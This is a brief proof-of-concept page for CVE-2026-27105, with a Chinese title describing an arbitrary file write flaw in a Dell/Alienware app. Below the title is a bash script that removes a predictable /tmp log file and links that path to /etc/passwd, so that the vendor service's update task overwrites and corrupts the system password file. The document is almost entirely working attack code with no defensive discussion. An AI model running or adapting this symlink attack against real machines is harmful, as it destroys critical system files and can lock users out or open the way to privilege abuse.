CVE-2026-27105 Dell/Alienware应用任意文件写入漏洞

#!/bin/bash # PoC for CVE-2026-27105: Improper Link Resolution Before File Access # This script demonstrates a symlink attack scenario. # The vulnerable app attempts to write to a predictable path. VULNERABLE_PATH="/tmp/dell_app_update.log" TARGET_FILE="/etc/passwd" # Example target to overwrite echo "[*] Checking for vulnerable path..." if [ -e "$VULNERABLE_PATH" ]; then echo "[-] Path exists. Removing it for PoC." rm -f "$VULNERABLE_PATH" fi echo "[*] Creating symbolic link from $VULNERABLE_PATH to $TARGET_FILE" ln -s $TARGET_FILE $VULNERABLE_PATH echo "[*] Symbolic link created successfully." echo "[*] Wait for or trigger the Dell/Alienware Purchased Apps service update task." echo "[*] When the service writes to $VULNERABLE_PATH, $TARGET_FILE will be corrupted." ls -la $VULNERABLE_PATH